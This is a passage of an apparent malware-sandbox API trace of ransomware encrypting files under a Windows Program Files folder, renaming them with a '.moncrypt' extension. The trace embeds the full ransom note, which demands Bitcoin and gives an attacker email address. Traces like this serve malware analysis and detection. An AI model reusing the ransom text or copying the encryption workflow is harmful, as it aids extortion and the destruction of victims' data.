[0054.331] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.331] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.331] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.331] GlobalUnlock (hMem=0x44000c) returned 0 [0054.331] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.331] GlobalUnlock (hMem=0x440004) returned 0 [0054.331] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.331] CharLowerBuffW (in: lpsz="STUDIO.INF", cchLength=0xa | out: lpsz="studio.inf") returned 0xa [0054.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpUsedDefaultChar=0x0) returned 73 [0054.332] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0054.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\STUDIO\\STUDIO.INF", lpUsedDefaultChar=0x0) returned 4 [0054.332] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.332] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.332] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.332] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.332] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.332] GlobalUnlock (hMem=0x440004) returned 0 [0054.332] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.332] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.332] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.332] GlobalUnlock (hMem=0x440004) returned 0 [0054.332] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.332] GlobalUnlock (hMem=0x44000c) returned 0 [0054.332] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.332] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0054.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.333] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 75 [0054.333] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0054.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0054.333] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0054.333] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.333] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.333] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0054.334] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.334] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.moncrypt")) returned 1 [0054.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.335] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.335] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x47cc [0054.335] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.335] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.337] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.337] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.337] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.337] GlobalUnlock (hMem=0x440004) returned 0 [0054.337] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0054.337] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.337] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.338] GlobalUnlock (hMem=0x440004) returned 0 [0054.338] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.338] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.338] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.338] GlobalUnlock (hMem=0x44000c) returned 0 [0054.338] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.338] GlobalUnlock (hMem=0x440004) returned 0 [0054.338] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.338] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.338] GlobalUnlock (hMem=0x440004) returned 0 [0054.338] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.338] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.338] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.338] GlobalUnlock (hMem=0x440004) returned 0 [0054.338] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.338] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.338] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.338] SetFilePointer (in: hFile=0x18c, lDistanceToMove=18380, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x47cc [0054.338] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.338] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.338] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.349] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.349] CloseHandle (hObject=0x18c) returned 1 [0054.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.350] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.350] CloseHandle (hObject=0x18c) returned 1 [0054.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0054.351] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.351] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.351] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.351] GlobalUnlock (hMem=0x440004) returned 0 [0054.351] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.351] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.351] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.351] GlobalUnlock (hMem=0x440004) returned 0 [0054.351] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.351] GlobalUnlock (hMem=0x44000c) returned 0 [0054.351] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41926c40, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41926c40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41926c40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0054.352] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0054.352] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0054.352] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.352] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.352] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0054.352] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.352] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.352] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0054.352] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.352] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0054.352] CloseHandle (hObject=0x18c) returned 1 [0054.352] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.353] GetLastError () returned 0x12 [0054.353] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.353] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.353] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.353] GlobalUnlock (hMem=0x44000c) returned 0 [0054.353] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.353] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.353] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.353] GlobalUnlock (hMem=0x44000c) returned 0 [0054.353] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.353] GlobalUnlock (hMem=0x440004) returned 0 [0054.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41926c40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41926c40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.353] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.353] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.353] GlobalLock (hMem=0x440004) returned 0x550170 [0054.353] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.353] GlobalUnlock (hMem=0x440004) returned 0 [0054.353] GlobalLock (hMem=0x440004) returned 0x550170 [0054.353] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.353] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.353] GlobalUnlock (hMem=0x440004) returned 0 [0054.353] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.354] GlobalUnlock (hMem=0x44000c) returned 0 [0054.354] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.354] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41926c40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41926c40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.354] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.354] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.354] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.354] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.354] GlobalUnlock (hMem=0x44000c) returned 0 [0054.354] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.354] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.354] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.354] GlobalUnlock (hMem=0x44000c) returned 0 [0054.354] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.354] GlobalUnlock (hMem=0x440004) returned 0 [0054.354] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, 